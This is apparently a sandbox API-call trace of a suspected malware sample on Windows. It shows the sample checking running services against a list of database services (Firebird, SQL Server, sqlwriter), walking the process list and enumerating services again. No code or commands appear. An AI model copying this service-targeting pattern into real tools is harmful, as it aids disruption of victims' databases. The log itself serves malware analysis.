[0302.580] lstrlenW (lpString="MpsSvc") returned 6 [0302.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0302.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0302.580] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0302.580] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0302.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0302.581] lstrlenW (lpString="NcbService") returned 10 [0302.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0302.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0302.581] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0302.581] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0302.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0302.581] lstrlenW (lpString="netprofm") returned 8 [0302.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0302.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0302.581] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0302.581] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0302.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0302.581] lstrlenW (lpString="NgcSvc") returned 6 [0302.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0302.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0302.581] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0302.581] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0302.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0302.581] lstrlenW (lpString="NlaSvc") returned 6 [0302.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0302.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0302.581] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0302.581] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0302.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0302.581] lstrlenW (lpString="nsi") returned 3 [0302.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0302.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0302.581] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0302.581] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0302.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0302.582] lstrlenW (lpString="PcaSvc") returned 6 [0302.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0302.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0302.582] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0302.582] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0302.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0302.582] lstrlenW (lpString="PlugPlay") returned 8 [0302.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0302.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0302.582] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0302.582] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0302.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0302.582] lstrlenW (lpString="Power") returned 5 [0302.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0302.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0302.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0302.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0302.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0302.582] lstrlenW (lpString="ProfSvc") returned 7 [0302.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0302.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0302.582] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0302.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0302.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0302.582] lstrlenW (lpString="RpcEptMapper") returned 12 [0302.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0302.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0302.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0302.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0302.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0302.582] lstrlenW (lpString="RpcSs") returned 5 [0302.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0302.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0302.583] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0302.583] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0302.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0302.583] lstrlenW (lpString="SamSs") returned 5 [0302.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0302.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0302.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0302.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0302.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0302.583] lstrlenW (lpString="Schedule") returned 8 [0302.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0302.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0302.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0302.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0302.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0302.583] lstrlenW (lpString="SecurityHealthService") returned 21 [0302.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0302.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0302.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0302.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0302.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0302.583] lstrlenW (lpString="SENS") returned 4 [0302.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0302.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0302.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0302.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0302.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0302.583] lstrlenW (lpString="ShellHWDetection") returned 16 [0302.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0302.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0302.583] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0302.583] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0302.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0302.583] lstrlenW (lpString="Spooler") returned 7 [0302.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0302.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0302.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0302.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0302.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0302.584] lstrlenW (lpString="SSDPSRV") returned 7 [0302.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0302.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0302.584] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0302.584] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0302.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0302.584] lstrlenW (lpString="StateRepository") returned 15 [0302.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0302.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0302.584] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0302.584] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0302.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0302.584] lstrlenW (lpString="SysMain") returned 7 [0302.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0302.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0302.584] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0302.584] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0302.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0302.584] lstrlenW (lpString="SystemEventsBroker") returned 18 [0302.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0302.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0302.584] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0302.584] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0302.584] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c8 [0302.588] Process32FirstW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.588] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0302.589] lstrlenW (lpString="System") returned 6 [0302.590] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0302.590] lstrlenW (lpString="smss.exe") returned 8 [0302.590] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0302.591] lstrlenW (lpString="csrss.exe") returned 9 [0302.591] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0302.592] lstrlenW (lpString="wininit.exe") returned 11 [0302.592] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0302.592] lstrlenW (lpString="csrss.exe") returned 9 [0302.592] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0302.593] lstrlenW (lpString="winlogon.exe") returned 12 [0302.593] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0302.594] lstrlenW (lpString="services.exe") returned 12 [0302.594] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0302.594] lstrlenW (lpString="lsass.exe") returned 9 [0302.594] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.595] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0302.595] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.596] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0302.596] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.597] lstrlenW (lpString="svchost.exe") returned 11 [0302.597] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.597] lstrlenW (lpString="svchost.exe") returned 11 [0302.598] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0302.598] lstrlenW (lpString="dwm.exe") returned 7 [0302.598] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.599] lstrlenW (lpString="svchost.exe") returned 11 [0302.599] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.599] lstrlenW (lpString="svchost.exe") returned 11 [0302.599] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.600] lstrlenW (lpString="svchost.exe") returned 11 [0302.600] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.601] lstrlenW (lpString="svchost.exe") returned 11 [0302.601] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.608] lstrlenW (lpString="svchost.exe") returned 11 [0302.608] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.609] lstrlenW (lpString="svchost.exe") returned 11 [0302.609] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.609] lstrlenW (lpString="svchost.exe") returned 11 [0302.609] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.610] lstrlenW (lpString="svchost.exe") returned 11 [0302.610] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.611] lstrlenW (lpString="svchost.exe") returned 11 [0302.611] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.611] lstrlenW (lpString="svchost.exe") returned 11 [0302.611] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0302.612] lstrlenW (lpString="spoolsv.exe") returned 11 [0302.612] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.613] lstrlenW (lpString="svchost.exe") returned 11 [0302.613] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0302.613] lstrlenW (lpString="audiodg.exe") returned 11 [0302.613] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0302.614] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0302.614] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0302.615] lstrlenW (lpString="Memory Compression") returned 18 [0302.615] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0302.615] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0302.615] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0302.616] lstrlenW (lpString="sihost.exe") returned 10 [0302.616] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.617] lstrlenW (lpString="svchost.exe") returned 11 [0302.617] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0302.617] lstrlenW (lpString="taskhostw.exe") returned 13 [0302.617] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0302.618] lstrlenW (lpString="msoia.exe") returned 9 [0302.618] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0302.622] lstrlenW (lpString="explorer.exe") returned 12 [0302.622] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0302.622] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0302.622] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0302.623] lstrlenW (lpString="SearchUI.exe") returned 12 [0302.623] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0302.624] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0302.624] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0302.624] lstrlenW (lpString="load0.exe") returned 9 [0302.624] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.626] lstrlenW (lpString="svchost.exe") returned 11 [0302.626] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0302.626] CloseHandle (hObject=0x10c8) returned 1 [0302.626] Sleep (dwMilliseconds=0x1f4) [0303.172] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd558 [0303.173] EnumServicesStatusExW (in: hSCManager=0x7bd558, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0303.174] GetLastError () returned 0xea [0303.174] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0303.174] 